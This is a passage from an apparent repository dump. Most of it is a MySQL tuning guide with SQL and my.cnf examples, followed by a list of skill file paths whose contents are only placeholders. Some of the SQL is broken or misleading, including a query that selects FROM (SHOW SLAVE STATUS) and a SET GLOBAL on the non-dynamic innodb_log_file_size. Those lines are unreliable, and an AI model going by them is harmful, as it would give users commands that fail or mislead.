innodb_buffer_pool_size = 12884901888;  -- 12GB\n\n-- Check buffer pool usage\nSHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_%';\n\n-- Buffer pool hit ratio (target: >99%)\nSELECT\n    (1 - (Innodb_buffer_pool_reads / Innodb_buffer_pool_read_requests)) * 100 as hit_ratio\nFROM (\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_reads\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads'\n) reads,\n(\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_read_requests\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests'\n) requests;\n\n-- Buffer pool instances (for multi-core systems)\n-- Recommended: 1 instance per 1GB, max 64\nSET GLOBAL innodb_buffer_pool_instances = 8;\n```\n\n### Sort and Join Buffers\n\n```sql\n-- Sort buffer per connection\nSET GLOBAL sort_buffer_size = 2097152;  -- 2MB\n\n-- Join buffer for full joins\nSET GLOBAL join_buffer_size = 2097152;  -- 2MB\n\n-- Temporary table size\nSET GLOBAL tmp_table_size = 67108864;  -- 64MB\nSET GLOBAL max_heap_table_size = 67108864;  -- 64MB\n\n-- Monitor temp table usage\nSHOW GLOBAL STATUS LIKE 'Created_tmp%';\n```\n\n## Query Cache (Deprecated in 8.0)\n\n```sql\n-- MySQL 5.7 and earlier\n-- Note: Removed in MySQL 8.0\nSET GLOBAL query_cache_type = 1;\nSET GLOBAL query_cache_size = 67108864;  -- 64MB\n\n-- Check query cache effectiveness\nSHOW STATUS LIKE 'Qcache%';\n\n-- Query cache hit ratio\nSELECT\n    Qcache_hits / (Qcache_hits + Com_select) * 100 as cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Qcache_hits\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Qcache_hits'\n) hits,\n(\n    SELECT VARIABLE_VALUE as Com_select\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Com_select'\n) selects;\n```\n\n## InnoDB Performance Settings\n\n### Log Files and Flushing\n\n```sql\n-- InnoDB log file size (larger = better write performance)\n-- Recommended: 1-2GB for write-heavy workloads\nSET GLOBAL innodb_log_file_size = 1073741824;  -- 1GB\n\n-- Log buffer size\nSET GLOBAL innodb_log_buffer_size = 16777216;  -- 16MB\n\n-- Flush method (O_DIRECT for dedicated server, avoids double buffering)\n-- Set in my.cnf\ninnodb_flush_method = O_DIRECT\n\n-- Flush log at transaction commit\n-- 1 = full ACID (default, safest)\n-- 2 = write to OS cache, flush every second\n-- 0 = write and flush every second (fastest, risk data loss)\nSET GLOBAL innodb_flush_log_at_trx_commit = 1;\n\n-- For replication slaves or analytics (trade safety for speed)\nSET GLOBAL innodb_flush_log_at_trx_commit = 2;\n```\n\n### I/O Configuration\n\n```sql\n-- Read I/O threads\nSET GLOBAL innodb_read_io_threads = 8;\n\n-- Write I/O threads\nSET GLOBAL innodb_write_io_threads = 8;\n\n-- I/O capacity (IOPS your storage can handle)\n-- For SSD: 5000-20000\nSET GLOBAL innodb_io_capacity = 10000;\nSET GLOBAL innodb_io_capacity_max = 20000;\n\n-- Flush method for optimal I/O\n-- my.cnf:\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0  -- Disable for SSD\n```\n\n### Thread Configuration\n\n```sql\n-- Max connections\nSET GLOBAL max_connections = 200;\n\n-- Thread cache (reuse threads)\nSET GLOBAL thread_cache_size = 100;\n\n-- Check thread cache effectiveness\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Thread cache hit ratio (target: >90%)\nSELECT\n    (1 - (Threads_created / Connections)) * 100 as thread_cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Threads_created\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Threads_created'\n) created,\n(\n    SELECT VARIABLE_VALUE as Connections\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Connections'\n) conns;\n```\n\n## Query Optimization\n\n### Slow Query Log\n\n```sql\n-- Enable slow query logging\nSET GLOBAL slow_query_log = 'ON';\nSET GLOBAL long_query_time = 1.0;  -- Log queries > 1 second\nSET GLOBAL log_queries_not_using_indexes = 'ON';\n\n-- Slow query log file location\nSET GLOBAL slow_query_log_file = '/var/log/mysql/slow-query.log';\n\n-- Analyze slow query log with pt-query-digest\n-- $ pt-query-digest /var/log/mysql/slow-query.log\n\n-- Check slow query status\nSHOW GLOBAL STATUS LIKE 'Slow_queries';\n```\n\n### Performance Schema\n\n```sql\n-- Enable performance schema (my.cnf)\nperformance_schema = ON\n\n-- Top queries by total execution time\nSELECT\n    DIGEST_TEXT,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_time_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_time_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct\nFROM performance_schema.events_statements_summary_by_digest\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n\n-- Full table scans\nSELECT * FROM sys.statements_with_full_table_scans\nORDER BY exec_count DESC\nLIMIT 10;\n\n-- Tables with high I/O\nSELECT\n    object_schema,\n    object_name,\n    count_read,\n    count_write,\n    count_fetch,\n    SUM_TIMER_WAIT / 1000000000000 as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n```\n\n## Index Optimization\n\n### Index Statistics\n\n```sql\n-- Update index statistics\nANALYZE TABLE users;\n\n-- Check index cardinality\nSHOW INDEX FROM users;\n\n-- Find duplicate/redundant indexes\nSELECT\n    a.table_schema,\n    a.table_name,\n    a.index_name as index1,\n    a.column_name,\n    b.index_name as index2\nFROM information_schema.statistics a\nJOIN information_schema.statistics b\n    ON a.table_schema = b.table_schema\n    AND a.table_name = b.table_name\n    AND a.seq_in_index = b.seq_in_index\n    AND a.column_name = b.column_name\n    AND a.index_name != b.index_name\nWHERE a.table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\nORDER BY a.table_schema, a.table_name, a.index_name;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY object_schema, object_name;\n```\n\n### Covering Indexes\n\n```sql\n-- Create covering index\nCREATE INDEX idx_users_email_name_created\nON users(email, name, created_at);\n\n-- Query can use covering index\nEXPLAIN\nSELECT name, created_at FROM users WHERE email = 'user@example.com';\n-- Look for \"Using index\" in Extra column\n\n-- Force index usage for testing\nSELECT name FROM users FORCE INDEX (idx_users_email_name_created)\nWHERE email = 'user@example.com';\n```\n\n## Partitioning\n\n### Range Partitioning\n\n```sql\n-- Create partitioned table\nCREATE TABLE events (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    event_type VARCHAR(50),\n    created_at DATETIME NOT NULL,\n    data JSON,\n    PRIMARY KEY (id, created_at)\n) PARTITION BY RANGE (YEAR(created_at)) (\n    PARTITION p2023 VALUES LESS THAN (2024),\n    PARTITION p2024 VALUES LESS THAN (2025),\n    PARTITION p2025 VALUES LESS THAN (2026),\n    PARTITION pmax VALUES LESS THAN MAXVALUE\n);\n\n-- Query with partition pruning\nEXPLAIN PARTITIONS\nSELECT * FROM events\nWHERE created_at >= '2024-01-01' AND created_at < '2024-02-01';\n-- Should show \"partitions: p2024\"\n\n-- Add new partition\nALTER TABLE events\nADD PARTITION (PARTITION p2026 VALUES LESS THAN (2027));\n\n-- Drop old partition (fast delete)\nALTER TABLE events DROP PARTITION p2023;\n```\n\n### List Partitioning\n\n```sql\n-- Partition by discrete values\nCREATE TABLE orders (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    user_id BIGINT,\n    status VARCHAR(20),\n    PRIMARY KEY (id, status)\n) PARTITION BY LIST COLUMNS(status) (\n    PARTITION p_pending VALUES IN ('pending', 'processing'),\n    PARTITION p_completed VALUES IN ('completed', 'shipped'),\n    PARTITION p_cancelled VALUES IN ('cancelled', 'refunded')\n);\n```\n\n## Replication Optimization\n\n### Binary Log Settings\n\n```sql\n-- Binary log format\nSET GLOBAL binlog_format = 'ROW';  -- ROW, STATEMENT, or MIXED\n\n-- Binary log cache size\nSET GLOBAL binlog_cache_size = 1048576;  -- 1MB per transaction\n\n-- Sync binary log (durability vs performance)\nSET GLOBAL sync_binlog = 1;  -- Safest, sync after each commit\n-- sync_binlog = 0  -- Fastest, let OS handle flushing\n\n-- Expire binary logs after N days\nSET GLOBAL binlog_expire_logs_seconds = 604800;  -- 7 days\n```\n\n### Replication Lag Monitoring\n\n```sql\n-- On replica: Check replication lag\nSHOW SLAVE STATUS\\G\n\n-- Parse seconds behind master\nSELECT\n    IF(Slave_IO_Running = 'Yes' AND Slave_SQL_Running = 'Yes',\n       Seconds_Behind_Master,\n       NULL) as replication_lag_seconds\nFROM (SHOW SLAVE STATUS) s;\n\n-- Parallel replication (MySQL 8.0+)\nSET GLOBAL slave_parallel_workers = 4;\nSET GLOBAL slave_parallel_type = 'LOGICAL_CLOCK';\n```\n\n## Table Optimization\n\n### Table Maintenance\n\n```sql\n-- Optimize table (rebuilds, reclaims space)\nOPTIMIZE TABLE users;\n\n-- Check table for errors\nCHECK TABLE users;\n\n-- Repair table if corrupted\nREPAIR TABLE users;\n\n-- Analyze table statistics\nANALYZE TABLE users;\n\n-- Check fragmentation\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(data_free / 1024 / 1024, 2) as free_mb,\n    ROUND(data_free / data_length * 100, 2) as fragmentation_pct\nFROM information_schema.tables\nWHERE table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\n  AND data_free > 0\nORDER BY fragmentation_pct DESC;\n```\n\n### Table Compression\n\n```sql\n-- InnoDB compression (requires ROW_FORMAT=COMPRESSED)\nCREATE TABLE compressed_logs (\n    id BIGINT AUTO_INCREMENT PRIMARY KEY,\n    message TEXT,\n    created_at DATETIME\n) ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;\n\n-- Check compression ratio\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(index_length / 1024 / 1024, 2) as index_mb,\n    create_options\nFROM information_schema.tables\nWHERE row_format = 'Compressed';\n```\n\n## Configuration File Example\n\n```ini\n# my.cnf - Production optimized for 16GB RAM server\n\n[mysqld]\n# InnoDB Settings\ninnodb_buffer_pool_size = 12G\ninnodb_buffer_pool_instances = 8\ninnodb_log_file_size = 1G\ninnodb_log_buffer_size = 16M\ninnodb_flush_log_at_trx_commit = 1\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0\n\n# I/O Settings\ninnodb_read_io_threads = 8\ninnodb_write_io_threads = 8\ninnodb_io_capacity = 10000\ninnodb_io_capacity_max = 20000\n\n# Connection Settings\nmax_connections = 200\nthread_cache_size = 100\n\n# Query Cache (MySQL 5.7)\n# query_cache_type = 1\n# query_cache_size = 64M\n\n# Temporary Tables\ntmp_table_size = 64M\nmax_heap_table_size = 64M\n\n# Slow Query Log\nslow_query_log = ON\nlong_query_time = 1\nlog_queries_not_using_indexes = ON\n\n# Binary Log\nbinlog_format = ROW\nsync_binlog = 1\nbinlog_expire_logs_seconds = 604800\n\n# Performance Schema\nperformance_schema = ON\n\n# Character Set\ncharacter_set_server = utf8mb4\ncollation_server = utf8mb4_unicode_ci\n```\n","skills/database-optimizer/references/postgresql-tuning.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fpostgresql-tuning.md -->","skills/database-optimizer/references/query-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fquery-optimization.md -->","skills/database-scout/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-scout%2FSKILL.md -->","skills/dataset-quality-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdataset-quality-audit%2FSKILL.md -->","skills/deep-module-refactor/REFERENCE.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FREFERENCE.md -->","skills/deep-module-refactor/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FSKILL.md -->","skills/design-system-builder/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2FSKILL.md -->","skills/design-system-builder/assets/app-overview-generator.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fapp-overview-generator.md -->","skills/design-system-builder/assets/design-system.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fdesign-system.md -->","skills/design-system-builder/assets/vibe-design-template.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fvibe-design-template.md -->","skills/dev-guide-generator/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdev-guide-generator%2FSKILL.md -->","skills/ethical-hacking-methodology/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fethical-hacking-methodology%2FSKILL.md -->","skills/file-path-traversal/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ffile-path-traversal%2FSKILL.md -->","skills/html-injection-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhtml-injection-testing%2FSKILL.md -->","skills/http-load-profiler/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhttp-load-profiler%2FSKILL.md -->","skills/idor-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fidor-testing%2FSKILL.md -->","skills/linux-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-privilege-escalation%2FSKILL.md -->","skills/linux-shell-scripting/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-shell-scripting%2FSKILL.md -->","skills/localization-toolkit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flocalization-toolkit%2FSKILL.md -->","skills/log-error-digest/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flog-error-digest%2FSKILL.md -->","skills/metasploit-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fmetasploit-framework%2FSKILL.md -->","skills/network-101/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnetwork-101%2FSKILL.md -->","skills/nextjs-developer/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2FSKILL.md -->","skills/nextjs-developer/references/app-router.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fapp-router.md -->","skills/nextjs-developer/references/data-fetching.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdata-fetching.md -->","skills/nextjs-developer/references/deployment.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdeployment.md -->","skills/nextjs-developer/references/server-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-actions.md -->","skills/nextjs-developer/references/server-components.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-components.md -->","skills/pentest-checklist/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-checklist%2FSKILL.md -->","skills/pentest-commands/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-commands%2FSKILL.md -->","skills/pipeline-blueprint/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpipeline-blueprint%2FSKILL.md -->","skills/playwright/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2FSKILL.md -->","skills/playwright/ci/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2FSKILL.md -->","skills/playwright/ci/ci-github-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-github-actions.md -->","skills/playwright/ci/ci-gitlab.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-gitlab.md -->","skills/playwright/ci/ci-other.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-other.md -->","skills/playwright/ci/docker-and-containers.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fdocker-and-containers.md -->","skills/playwright/ci/global-setup-teardown.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fglobal-setup-teardown.md -->","skills/playwright/ci/parallel-and-sharding.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fparallel-and-sharding.md -->","skills/playwright/ci/projects-and-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fprojects-and-dependencies.md -->","skills/playwright/ci/reporting-and-artifacts.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Freporting-and-artifacts.md -->","skills/playwright/ci/test-coverage.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Ftest-coverage.md -->","skills/playwright/core/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2FSKILL.md -->","skills/playwright/core/accessibility.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Faccessibility.md -->","skills/playwright/core/angular.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fangular.md -->","skills/playwright/core/api-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fapi-testing.md -->","skills/playwright/core/assertions-and-waiting.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fassertions-and-waiting.md -->","skills/playwright/core/auth-flows.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauth-flows.md -->","skills/playwright/core/authentication.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauthentication.md -->","skills/playwright/core/browser-apis.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-apis.md -->","skills/playwright/core/browser-extensions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-extensions.md -->","skills/playwright/core/canvas-and-webgl.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcanvas-and-webgl.md -->","skills/playwright/core/clock-and-time-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fclock-and-time-mocking.md -->","skills/playwright/core/common-pitfalls.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcommon-pitfalls.md -->","skills/playwright/core/component-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcomponent-testing.md -->","skills/playwright/core/configuration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fconfiguration.md -->","skills/playwright/core/crud-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcrud-testing.md -->","skills/playwright/core/debugging.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdebugging.md -->","skills/playwright/core/drag-and-drop.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdrag-and-drop.md -->","skills/playwright/core/electron-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Felectron-testing.md -->","skills/playwright/core/error-and-edge-cases.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-and-edge-cases.md -->","skills/playwright/core/error-index.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-index.md -->","skills/playwright/core/file-operations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-operations.md -->","skills/playwright/core/file-upload-download.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-upload-download.md -->","skills/playwright/core/fixtures-and-hooks.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffixtures-and-hooks.md -->","skills/playwright/core/flaky-tests.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fflaky-tests.md -->","skills/playwright/core/forms-and-validation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fforms-and-validation.md -->","skills/playwright/core/i18n-and-localization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fi18n-and-localization.md -->","skills/playwright/core/iframes-and-shadow-dom.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fiframes-and-shadow-dom.md -->","skills/playwright/core/locator-strategy.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocator-strategy.md -->","skills/playwright/core/locators.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocators.md -->","skills/playwright/core/mobile-and-responsive.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmobile-and-responsive.md -->","skills/playwright/core/multi-context-and-popups.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-context-and-popups.md -->","skills/playwright/core/multi-user-and-collaboration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-user-and-collaboration.md -->","skills/playwright/core/network-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnetwork-mocking.md -->","skills/playwright/core/nextjs.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnextjs.md -->","skills/playwright/core/performance-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fperformance-testing.md -->","skills/playwright/core/react.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Freact.md -->","skills/playwright/core/search-and-filter.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsearch-and-filter.md -->","skills/playwright/core/security-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsecurity-testing.md -->","skills/playwright/core/service-workers-and-pwa.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fservice-workers-and-pwa.md -->","skills/playwright/core/test-architecture.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-architecture.md -->","skills/playwright/core/test-data-management.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-data-management.md -->","skills/playwright/core/test-organization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-organization.md -->","skills/playwright/core/third-party-integrations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fthird-party-integrations.md -->","skills/playwright/core/visual-regression.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvisual-regression.md -->","skills/playwright/core/vue.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvue.md -->","skills/playwright/core/websockets-and-realtime.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwebsockets-and-realtime.md -->","skills/playwright/core/when-to-mock.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwhen-to-mock.md -->","skills/playwright/migration/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2FSKILL.md -->","skills/playwright/migration/from-cypress.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-cypress.md -->","skills/playwright/migration/from-selenium.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-selenium.md -->","skills/playwright/playwright-cli/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2FSKILL.md -->","skills/playwright/playwright-cli/advanced-workflows.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fadvanced-workflows.md -->","skills/playwright/playwright-cli/core-commands.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fcore-commands.md -->","skills/playwright/playwright-cli/device-emulation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fdevice-emulation.md -->","skills/playwright/playwright-cli/request-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frequest-mocking.md -->","skills/playwright/playwright-cli/running-custom-code.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frunning-custom-code.md -->","skills/playwright/playwright-cli/screenshots-and-media.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fscreenshots-and-media.md -->","skills/playwright/playwright-cli/session-management.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fsession-management.md -->","skills/playwright/playwright-cli/storage-and-auth.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fstorage-and-auth.md -->","skills/playwright/playwright-cli/test-generation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftest-generation.md -->","skills/playwright/playwright-cli/tracing-and-debugging.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftracing-and-debugging.md -->","skills/playwright/pom/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2FSKILL.md -->","skills/playwright/pom/page-object-model.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpage-object-model.md -->","skills/playwright/pom/pom-vs-fixtures-vs-helpers.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpom-vs-fixtures-vs-helpers.md 